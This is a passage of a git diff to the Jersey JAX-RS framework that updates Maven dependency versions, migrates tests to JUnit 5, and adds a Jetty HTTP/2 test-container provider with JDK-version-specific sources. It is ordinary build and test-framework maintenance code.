org.eclipse.jetty.ee10 + jetty-ee10-webapp ${jetty.version} @@ -1811,11 +1930,6 @@ - - org.jboss.logging - jboss-logging - ${jboss.logging.version} - com.fasterxml classmate @@ -1889,7 +2003,7 @@ commons-logging commons-logging - 1.2 + ${commons.logging.version} @@ -1946,28 +2060,18 @@ ${pax.exam.version} test + - junit - junit - 4.13.1 - test - - - org.junit.jupiter - junit-jupiter - ${junit5.version} - test - - - org.junit.jupiter - junit-jupiter-engine + org.junit + junit-bom ${junit5.version} - test + pom + import org.testng testng - 6.9.6 + ${testng.version} test @@ -1986,7 +2090,7 @@ org.hamcrest - hamcrest-library + hamcrest ${hamcrest.version} test @@ -2003,8 +2107,8 @@ test - xmlunit - xmlunit + org.xmlunit + xmlunit-core ${xmlunit.version} test @@ -2024,21 +2128,21 @@ org.apache.felix org.apache.felix.framework - 7.0.0 + ${felix.framework.version} test org.apache.felix org.apache.felix.eventadmin - 1.5.0 + ${felix.eventadmin.version} test org.apache.felix org.apache.felix.framework.security - 2.6.1 + ${felix.framework.security.version} test @@ -2054,6 +2158,12 @@ ${yasson.version} + + com.google.code.gson + gson + ${gson.version} + + io.opentracing opentracing-api @@ -2070,7 +2180,7 @@ - 2.4 + 3.2.1 false Low @@ -2078,7 +2188,7 @@ each module; the default exclude filter file is at etc/config/findbugs-exclude.xml --> - javax.enterprise + jakarta.enterprise 11 @@ -2087,6 +2197,7 @@ UTF-8 + false false @@ -2095,120 +2206,182 @@ ${failsafe.coverage.argline} + + 3.1.0 + 3.6.0 + 3.4.1 + 3.1.0 + 3.4.0 + 3.2.0 + 3.3.1 + 10.12.4 + 3.11.0 + + 3.9.0 + 3.6.1 + 3.1.1 + 3.3.0 + 3.2.1 + 5.1.9 + 3.0.5 + 5.1 + 3.1.1 + 4.2.0 + 3.3.0 + 3.6.0 + 3.3.1 + 1.2.4 + 2.6.0 + 3.3.1 + 3.5.1 + 3.9.1 + 3.3.0 + 3.2.1 + 3.4.0 + 2.11.0 + 1.1.0 + ${project.version} + 1.7.1.Final + 3.0.1.Final - 9.2 - 2.3.6 - - 1.68 - 3.3.2 - 2.0 - 3.1.0 - 8.28 - 3.3 - - 1.3.3 + 9.6 + + 1.9.20.1 + + 1.70 + 2.15.0 + + 1.2 + 1.6.0 + 1.6.4 + 2.8.4 + 7.0.5 1.7 - 3.0.4 - 2.3.27-incubating - 1.9.59 - 1.16 - - 18.0 - 1.3 - 1.0.3 - 1.6 - org.glassfish.hk2.*;version="[3.0,4)" - org.jvnet.hk2.*;version="[3.0,4)" - 6.0.0 - 4.5.13 - 2.13.0 - 3.25.0-GA - 3.3.0.Final - 1.19.3 - ${jersey1.version} + 2.3.32 + 2.0.21 + 4.0.15 + 2.10.1 + + + + 0.27.0 + 3.0.2 + + + + 1.11.5 + 1.0.11 + + + 3.0.3 + 3.0.1 + 3.2.5 + 1.4.14 + 3.1.3 + + 31.1-jre + 2.2 + 3.2.5 + 2.9.0 + 4.5.14 + 5.2.1 + 2.15.3 + 3.29.2-GA + 3.5.3.Final 1.3.7 - 1.10.2 - 1.44 - 5.6.0 - 4.0.1 - 3.9.0 - 0.8.17 - 4.1.43.Final - 1.6.7 - 0.30.0 + 1.37 + 1.49 + 4.13.2 + 5.10.1 + 1.10.0 + 4.0.2 + 3.12.4 + 0.9.10 + 4.1.104.Final + 0.33.0 6.0.0 1.10.0 5.0.0 1.6.0 4.13.4 0.7.4 - 1.2.4 - 1.2.5 - 2.0.4 - 3.0.1 + 1.0.4 + 1.3.8 + 2.2.21 + 4.0.3 - 6.0.1 - false - 1.7.21 - 4.3.20.RELEASE - 5.1.5.RELEASE - 3.0.0-M5 + 6.0.0 + 6.0.1 + 2.0.9 + 6.0.13 + 7.8.0 + 6.9.13.6 - 4.0.2.Final - 3.1.7.SP1 - 7.0.1.Final + 5.1.1.Final + 3.1.9.Final + 8.0.1.Final - 2.11.0 + 2.27.2 + 2.12.2 - 20.3.2 + 20.3.12 - 6.0.0 + 7.0.6 - 3.0.0 - 4.0.0 - 3.0.1 + 4.0.1 + jakarta.enterprise.*;version="[3.0,5)" + 4.0.1 + 4.0.2 + 1.16 2.0.0 - 3.0.2 - 3.0.0 - 2.0.0 - 2.0.0 - 5.0.0 - 6.0.0 - 5.0.0 - 4.0.0 - 2.0.1 + 3.0.5 + org.glassfish.hk2.*;version="[3.0,4)" + org.jvnet.hk2.*;version="[3.0,4)" + 7.0.4 + 3.1.1 + 3.0.0 + 2.0.1 + 4.1.2 + 2.1.2 2.0.1 - 4.0.0 - 4.0.2 + 5.0.1 + 5.0.0-M1 jakarta.annotation.*;version="[2.0,3)" - 2.0.0 + 2.1.1 2.0.1 - 2.0.0 - 2.1.0 - 3.0.0 - 3.0.1 - 3.0.1 - 3.0.2 + 2.1.0 + 2.1.3 + 3.1.0 + 3.0.2 + 4.0.1 + 4.0.4 3.1 3.1.0 - 11.0.7 - 11.0.7 - 6.1.14 - 2.0.0 - 1.0.0 - 1.0.0 - 3.0.2 - 2.0.3 + org.eclipse.jetty.*;version="[11,15)" + 12.0.5 + 9.4.53.v20231009 + 11.0.19 + 12.0.5 + 3.0.0 + 1.1.5 + 1.1.1 + 4.0.2 + 3.0.3 1.3.2 - 1.9.13 + 1.9.15 diff --git a/security/oauth1-client/pom.xml b/security/oauth1-client/pom.xml index 11fd168ce3b..ac7726c95bc 100644 --- a/security/oauth1-client/pom.xml +++ b/security/oauth1-client/pom.xml @@ -1,7 +1,7 @@ diff --git a/security/oauth2-client/src/main/java/org/glassfish/jersey/client/oauth2/AuthCodeGrantImpl.java b/security/oauth2-client/src/main/java/org/glassfish/jersey/client/oauth2/AuthCodeGrantImpl.java index bed3ceec2c7..3f2fe275739 100644 --- a/security/oauth2-client/src/main/java/org/glassfish/jersey/client/oauth2/AuthCodeGrantImpl.java +++ b/security/oauth2-client/src/main/java/org/glassfish/jersey/client/oauth2/AuthCodeGrantImpl.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -32,6 +32,7 @@ import jakarta.ws.rs.client.ClientBuilder; import jakarta.ws.rs.client.Entity; import jakarta.ws.rs.core.Configuration; +import jakarta.ws.rs.core.Context; import jakarta.ws.rs.core.Feature; import jakarta.ws.rs.core.Form; import jakarta.ws.rs.core.GenericType; @@ -354,11 +355,15 @@ public Feature getOAuth2Feature() { static class DefaultTokenMessageBodyReader implements MessageBodyReader { // Provider here prevents circular dependency error from HK2 (workers inject providers and this provider inject workers) - @Inject - private Provider workers; + private final Provider workers; + private final Provider propertiesDelegateProvider; @Inject - private Provider propertiesDelegateProvider; + public DefaultTokenMessageBodyReader(@Context Provider workers, + @Context Provider propertiesDelegateProvider) { + this.propertiesDelegateProvider = propertiesDelegateProvider; + this.workers = workers; + } private static Iterable EMPTY_INTERCEPTORS = new ArrayList<>(); diff --git a/security/pom.xml b/security/pom.xml index c457f1000c3..754c37eff7b 100644 --- a/security/pom.xml +++ b/security/pom.xml @@ -1,7 +1,7 @@ @@ -88,22 +120,61 @@ test - - org.apache.maven - maven-project - 2.2.1 - provided - - org.codehaus.gmavenplus gmavenplus-plugin - 1.7.0 + ${org.codehaus.gmavenplus.version} + + + org.apache.maven.shared + file-management + + + org.apache.maven + maven-model + + + org.apache.maven + maven-core + + + org.apache.maven + maven-plugin-api + + + org.apache.maven + maven-artifact + + + org.slf4j + slf4j-api + + + org.codehaus.plexus + plexus-utils + + + com.google.guava + guava + + + org.codehaus.plexus + plexus-archiver + + junit junit + ${junit4.version} + test + + + + org.slf4j + slf4j-api + ${slf4j.version} @@ -111,18 +182,32 @@ groovy-all pom ${groovy.version} + + + org.apache.ant + ant-launcher + + + org.apache.ant + ant + + + org.slf4j + slf4j-api + + - org.glassfish.jersey.core - jersey-client - ${project.version} + com.google.guava + guava + ${guava.version} - com.google.guava - guava - 27.0.1-jre + org.glassfish.jersey.core + jersey-client + ${project.version} diff --git a/test-framework/maven/custom-enforcer-rules/pom.xml b/test-framework/maven/custom-enforcer-rules/pom.xml index a05abc43f23..8ae03cec64e 100644 --- a/test-framework/maven/custom-enforcer-rules/pom.xml +++ b/test-framework/maven/custom-enforcer-rules/pom.xml @@ -1,7 +1,7 @@ + + + + project + org.glassfish.jersey.test-framework.providers + 3.1.99-SNAPSHOT + + 4.0.0 + + jersey-test-framework-provider-jetty-http2 + jar + jersey-test-framework-provider-jetty-http2 + + Jersey Test Framework - Jetty HTTP2 container + + + ${project.basedir}/target + ${project.basedir}/src/main/java11 + ${project.basedir}/target17 + ${project.basedir}/src/main/java17 + + + + + org.glassfish.jersey.test-framework + jersey-test-framework-core + ${project.version} + + + org.glassfish.jersey.containers + jersey-container-jetty-http2 + ${project.version} + + + + + + JettyExclude + + [11,17) + + + ${jetty11.version} + + + ${java11.build.outputDirectory} + + + org.codehaus.mojo + build-helper-maven-plugin + + + generate-sources + + add-source + + + + ${java11.sourceDirectory} + + + + + + + org.apache.maven.plugins + maven-compiler-plugin + + + org/glassfish/jersey/test/jetty/http2/*.java + + + + + + + + Jetty17 + + [17,) + + + ${java17.build.outputDirectory} + + + org.codehaus.mojo + build-helper-maven-plugin + + + generate-sources + + add-source + + + + ${java17.sourceDirectory} + + + + + + + + + + copyJDK17FilesToMultiReleaseJar + + + + target17/classes/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.class + + [11,17) + + + + + org.apache.felix + maven-bundle-plugin + true + true + + + true + + + + + org.apache.maven.plugins + maven-resources-plugin + true + + + copy-jdk17-classes + prepare-package + + copy-resources + + + ${java11.build.outputDirectory}/classes/META-INF/versions/17 + + + ${java17.build.outputDirectory}/classes + + + + + + + + org.apache.maven.plugins + maven-antrun-plugin + + + copy-jdk17-sources + package + + + + sources-jar: ${sources-jar} + + + + + + + run + + + + + + + + + + \ No newline at end of file diff --git a/test-framework/providers/jetty-http2/src/main/java/org/glassfish/jersey/test/jetty/http2/package-info.java b/test-framework/providers/jetty-http2/src/main/java/org/glassfish/jersey/test/jetty/http2/package-info.java new file mode 100644 index 00000000000..22e0a3c4fd5 --- /dev/null +++ b/test-framework/providers/jetty-http2/src/main/java/org/glassfish/jersey/test/jetty/http2/package-info.java @@ -0,0 +1,20 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +/** + * Jersey test framework for Jetty 11 HTTP/2 Container. + */ +package org.glassfish.jersey.test.jetty.http2; diff --git a/test-framework/providers/jetty-http2/src/main/java11/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java b/test-framework/providers/jetty-http2/src/main/java11/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java new file mode 100644 index 00000000000..44fa02ab767 --- /dev/null +++ b/test-framework/providers/jetty-http2/src/main/java11/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java @@ -0,0 +1,36 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.test.jetty.http2; + +import jakarta.ws.rs.ProcessingException; +import org.glassfish.jersey.jetty.http2.LocalizationMessages; +import org.glassfish.jersey.test.DeploymentContext; +import org.glassfish.jersey.test.spi.TestContainer; +import org.glassfish.jersey.test.spi.TestContainerFactory; + +import java.net.URI; +/** + * Factory for testing {@link JettyHttp2ContainerFactory}. + * + */ +public final class JettyHttp2TestContainerFactory implements TestContainerFactory { + + @Override + public TestContainer create(final URI baseUri, final DeploymentContext context) throws IllegalArgumentException { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } +} diff --git a/test-framework/providers/jetty-http2/src/main/java17/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java b/test-framework/providers/jetty-http2/src/main/java17/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java new file mode 100644 index 00000000000..e63f057f469 --- /dev/null +++ b/test-framework/providers/jetty-http2/src/main/java17/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.java @@ -0,0 +1,126 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.test.jetty.http2; + +import java.net.URI; +import java.util.logging.Level; +import java.util.logging.Logger; + +import jakarta.ws.rs.core.UriBuilder; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.jetty.http2.JettyHttp2ContainerFactory; +import org.glassfish.jersey.test.DeploymentContext; +import org.glassfish.jersey.test.spi.TestContainer; +import org.glassfish.jersey.test.spi.TestContainerException; +import org.glassfish.jersey.test.spi.TestContainerFactory; +import org.glassfish.jersey.test.spi.TestHelper; + +import org.eclipse.jetty.server.Connector; +import org.eclipse.jetty.server.Server; +import org.eclipse.jetty.server.ServerConnector; + +/** + * Factory for testing {@link JettyHttp2ContainerFactory}. + * + */ +public final class JettyHttp2TestContainerFactory implements TestContainerFactory { + + private static class JettyHttp2TestContainer implements TestContainer { + + private static final Logger LOGGER = Logger.getLogger(JettyHttp2TestContainer.class.getName()); + + private URI baseUri; + private final Server server; + + private JettyHttp2TestContainer(final URI baseUri, final DeploymentContext context) { + final URI base = UriBuilder.fromUri(baseUri).path(context.getContextPath()).build(); + + if (!"/".equals(base.getRawPath())) { + throw new TestContainerException(String.format( + "Cannot deploy on %s. Jetty HTTP2 container only supports deployment on root path.", + base.getRawPath())); + } + + this.baseUri = base; + + if (LOGGER.isLoggable(Level.INFO)) { + LOGGER.info("Creating JettyHttp2TestContainer configured at the base URI " + + TestHelper.zeroPortToAvailablePort(baseUri)); + } + + this.server = JettyHttp2ContainerFactory.createHttp2Server(this.baseUri, context.getResourceConfig(), false); + } + + @Override + public ClientConfig getClientConfig() { + return null; + } + + @Override + public URI getBaseUri() { + return baseUri; + } + + @Override + public void start() { + if (server.isStarted()) { + LOGGER.log(Level.WARNING, "Ignoring start request - JettyHttp2TestContainer is already started."); + } else { + LOGGER.log(Level.FINE, "Starting JettyHttp2TestContainer..."); + try { + server.start(); + + if (baseUri.getPort() == 0) { + int port = 0; + for (final Connector connector : server.getConnectors()) { + if (connector instanceof ServerConnector) { + port = ((ServerConnector) connector).getLocalPort(); + break; + } + } + + baseUri = UriBuilder.fromUri(baseUri).port(port).build(); + + LOGGER.log(Level.INFO, "Started JettyHttp2TestContainer at the base URI " + baseUri); + } + } catch (Exception e) { + throw new TestContainerException(e); + } + } + } + + @Override + public void stop() { + if (server.isStarted()) { + LOGGER.log(Level.FINE, "Stopping JettyHttp2TestContainer..."); + try { + this.server.stop(); + } catch (Exception ex) { + LOGGER.log(Level.WARNING, "Error Stopping JettyHttp2TestContainer...", ex); + } + } else { + LOGGER.log(Level.WARNING, "Ignoring stop request - JettyHttp2TestContainer is already stopped."); + } + } + } + + @Override + public TestContainer create(final URI baseUri, final DeploymentContext context) throws IllegalArgumentException { + return new JettyHttp2TestContainer(baseUri, context); + } +} diff --git a/test-framework/providers/jetty-http2/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory b/test-framework/providers/jetty-http2/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory new file mode 100644 index 00000000000..63ba6bf866d --- /dev/null +++ b/test-framework/providers/jetty-http2/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory @@ -0,0 +1 @@ +org.glassfish.jersey.test.jetty.http2.JettyHttp2TestContainerFactory diff --git a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty11/http2/localization.properties b/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty11/http2/localization.properties new file mode 100644 index 00000000000..f10b03c2f6e --- /dev/null +++ b/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty11/http2/localization.properties @@ -0,0 +1,18 @@ +# +# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. +# +# This program and the accompanying materials are made available under the +# terms of the Eclipse Public License v. 2.0, which is available at +# http://www.eclipse.org/legal/epl-2.0. +# +# This Source Code may also be made available under the following Secondary +# Licenses when the conditions for such availability set forth in the +# Eclipse Public License v. 2.0 are satisfied: GNU General Public License, +# version 2 with the GNU Classpath Exception, which is available at +# https://www.gnu.org/software/classpath/license.html. +# +# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 +# + +# {0} - status code; {1} - status reason message +not.supported=Jetty container is not supported on JDK version less than 17. diff --git a/test-framework/providers/jetty-http2/src/test/java/org/glassfish/jersey/test/jetty/http2/AvailablePortJettyTest.java b/test-framework/providers/jetty-http2/src/test/java/org/glassfish/jersey/test/jetty/http2/AvailablePortJettyTest.java new file mode 100644 index 00000000000..541f1935e3b --- /dev/null +++ b/test-framework/providers/jetty-http2/src/test/java/org/glassfish/jersey/test/jetty/http2/AvailablePortJettyTest.java @@ -0,0 +1,66 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.test.jetty.http2; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; + +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.DeploymentContext; +import org.glassfish.jersey.test.JerseyTest; +import org.glassfish.jersey.test.TestProperties; +import org.glassfish.jersey.test.spi.TestContainerFactory; + +import org.junit.jupiter.api.Test; +import static org.hamcrest.CoreMatchers.equalTo; +import static org.hamcrest.CoreMatchers.not; +import static org.hamcrest.MatcherAssert.assertThat; + +/** + * Tests finding an available port for container. + * + */ +public class AvailablePortJettyTest extends JerseyTest { + + @Override + protected TestContainerFactory getTestContainerFactory() { + return new JettyHttp2TestContainerFactory(); + } + + @Path("AvailablePortJettyTest") + public static class TestResource { + @GET + public String get() { + return "GET"; + } + } + + @Override + protected DeploymentContext configureDeployment() { + forceSet(TestProperties.CONTAINER_PORT, "0"); + + return DeploymentContext.builder(new ResourceConfig(TestResource.class)).build(); + } + + @Test + public void testGet() { + assertThat(target().getUri().getPort(), not(0)); + assertThat(getBaseUri().getPort(), not(0)); + + assertThat(target("AvailablePortJettyTest").request().get(String.class), equalTo("GET")); + } +} diff --git a/test-framework/providers/jetty-http2/src/test/java/org/glassfish/jersey/test/jetty/http2/JettyContainerTest.java b/test-framework/providers/jetty-http2/src/test/java/org/glassfish/jersey/test/jetty/http2/JettyContainerTest.java new file mode 100644 index 00000000000..f96c10c444e --- /dev/null +++ b/test-framework/providers/jetty-http2/src/test/java/org/glassfish/jersey/test/jetty/http2/JettyContainerTest.java @@ -0,0 +1,119 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.test.jetty.http2; + +import java.net.URI; +import java.util.List; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.core.Response; + +import org.glassfish.jersey.inject.hk2.DelayedHk2InjectionManager; +import org.glassfish.jersey.inject.hk2.ImmediateHk2InjectionManager; +import org.glassfish.jersey.internal.inject.InjectionManager; +import org.glassfish.jersey.jetty.http2.JettyHttp2ContainerFactory; +import org.glassfish.jersey.jetty.JettyHttpContainer; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.glassfish.hk2.api.ServiceLocator; + +import org.jvnet.hk2.internal.ServiceLocatorImpl; + +import org.eclipse.jetty.server.Server; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * Test class for {@link JettyHttpContainer}. + * + */ +public class JettyContainerTest extends JerseyTest { + + /** + * Creates new instance. + */ + public JettyContainerTest() { + super(new JettyHttp2TestContainerFactory()); + } + + @Override + protected ResourceConfig configure() { + return new ResourceConfig(Resource.class); + } + + /** + * Test resource class. + */ + @Path("one") + public static class Resource { + + /** + * Test resource method. + * + * @return Test simple string response. + */ + @GET + public String getSomething() { + return "get"; + } + } + + @Test + /** + * Test {@link Server Jetty Server} container. + */ + public void testJettyContainerTarget() { + final Response response = target().path("one").request().get(); + + assertEquals(200, response.getStatus(), "Response status unexpected."); + assertEquals("get", response.readEntity(String.class), "Response entity unexpected."); + } + + /** + * Test that defined ServiceLocator becomes a parent of the newly created service locator. + */ + @Test + public void testParentServiceLocator() { + final ServiceLocator locator = new ServiceLocatorImpl("MyServiceLocator", null); + final Server server = JettyHttp2ContainerFactory.createHttp2Server(URI.create("http://localhost:9876"), + new ResourceConfig(Resource.class), false, locator); + final JettyHttpContainer container = (JettyHttpContainer) server.getHandler(); + final InjectionManager injectionManager = container.getApplicationHandler().getInjectionManager(); + + ServiceLocator serviceLocator; + if (injectionManager instanceof ImmediateHk2InjectionManager) { + serviceLocator = ((ImmediateHk2InjectionManager) injectionManager).getServiceLocator(); + } else if (injectionManager instanceof DelayedHk2InjectionManager) { + serviceLocator = ((DelayedHk2InjectionManager) injectionManager).getServiceLocator(); + } else { + throw new RuntimeException("Invalid Hk2 InjectionManager"); + } + assertTrue(serviceLocator.getParent() == locator, + "Application injection manager was expected to have defined parent locator"); + } + @Test + public void testHttp2Container() { + final ServiceLocator locator = new ServiceLocatorImpl("MyServiceLocator", null); + final Server server = JettyHttp2ContainerFactory.createHttp2Server(URI.create("http://localhost:9876"), + new ResourceConfig(Resource.class), true, locator); + final List protocols = server.getConnectors()[0].getProtocols(); + assertTrue(protocols.contains("h2") || protocols.contains("h2c")); + } +} diff --git a/test-framework/providers/jetty/pom.xml b/test-framework/providers/jetty/pom.xml index e2c1af2a747..ea1bb3a9af6 100644 --- a/test-framework/providers/jetty/pom.xml +++ b/test-framework/providers/jetty/pom.xml @@ -1,7 +1,7 @@ + target17/classes/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.class + + [11,17) + + + + + org.apache.felix + maven-bundle-plugin + true + true + + + true + + + + + org.apache.maven.plugins + maven-resources-plugin + true + + + copy-jdk17-classes + prepare-package + + copy-resources + + + ${java11.build.outputDirectory}/classes/META-INF/versions/17 + + + ${java17.build.outputDirectory}/classes + + + + + + + + org.apache.maven.plugins + maven-antrun-plugin + + + copy-jdk17-sources + package + + + + sources-jar: ${sources-jar} + + + + + + + run + + + + + + + + + diff --git a/test-framework/providers/jetty/src/main/java11/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java b/test-framework/providers/jetty/src/main/java11/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java new file mode 100644 index 00000000000..1632869bd44 --- /dev/null +++ b/test-framework/providers/jetty/src/main/java11/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java @@ -0,0 +1,33 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.test.jetty; + +import jakarta.ws.rs.ProcessingException; +import org.glassfish.jersey.jetty.internal.LocalizationMessages; +import org.glassfish.jersey.test.DeploymentContext; +import org.glassfish.jersey.test.spi.TestContainer; +import org.glassfish.jersey.test.spi.TestContainerFactory; + +import java.net.URI; + +public class JettyTestContainerFactory implements TestContainerFactory { + + @Override + public TestContainer create(final URI baseUri, final DeploymentContext context) throws IllegalArgumentException { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } +} diff --git a/test-framework/providers/jetty/src/main/java/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java b/test-framework/providers/jetty/src/main/java17/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java similarity index 98% rename from test-framework/providers/jetty/src/main/java/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java rename to test-framework/providers/jetty/src/main/java17/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java index 2ce4577dd32..de1ba2ce387 100644 --- a/test-framework/providers/jetty/src/main/java/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java +++ b/test-framework/providers/jetty/src/main/java17/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at diff --git a/test-framework/providers/jetty/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties b/test-framework/providers/jetty/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties index c362bf09577..6504f0e81ab 100644 --- a/test-framework/providers/jetty/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties +++ b/test-framework/providers/jetty/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties @@ -1,5 +1,5 @@ # -# Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2020, 2023 Oracle and/or its affiliates. All rights reserved. # # This program and the accompanying materials are made available under the # terms of the Eclipse Public License v. 2.0, which is available at @@ -15,4 +15,4 @@ # # {0} - status code; {1} - status reason message -not.supported=Jetty container is not supported on JDK version less than 11. +not.supported=Jetty container is not supported on JDK version less than 17. diff --git a/test-framework/providers/jetty/src/test/java/org/glassfish/jersey/test/jetty/AvailablePortJettyTest.java b/test-framework/providers/jetty/src/test/java/org/glassfish/jersey/test/jetty/AvailablePortJettyTest.java index af5069ca5fd..4f278e39891 100644 --- a/test-framework/providers/jetty/src/test/java/org/glassfish/jersey/test/jetty/AvailablePortJettyTest.java +++ b/test-framework/providers/jetty/src/test/java/org/glassfish/jersey/test/jetty/AvailablePortJettyTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -25,7 +25,7 @@ import org.glassfish.jersey.test.TestProperties; import org.glassfish.jersey.test.spi.TestContainerFactory; -import org.junit.Test; +import org.junit.jupiter.api.Test; import static org.hamcrest.CoreMatchers.equalTo; import static org.hamcrest.CoreMatchers.not; import static org.hamcrest.MatcherAssert.assertThat; diff --git a/test-framework/providers/jetty/src/test/java/org/glassfish/jersey/test/jetty/JettyContainerTest.java b/test-framework/providers/jetty/src/test/java/org/glassfish/jersey/test/jetty/JettyContainerTest.java index 31193c29188..7481e8db395 100644 --- a/test-framework/providers/jetty/src/test/java/org/glassfish/jersey/test/jetty/JettyContainerTest.java +++ b/test-framework/providers/jetty/src/test/java/org/glassfish/jersey/test/jetty/JettyContainerTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2011, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2011, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -35,9 +35,9 @@ import org.jvnet.hk2.internal.ServiceLocatorImpl; import org.eclipse.jetty.server.Server; -import org.junit.Test; -import static org.junit.Assert.assertEquals; -import static 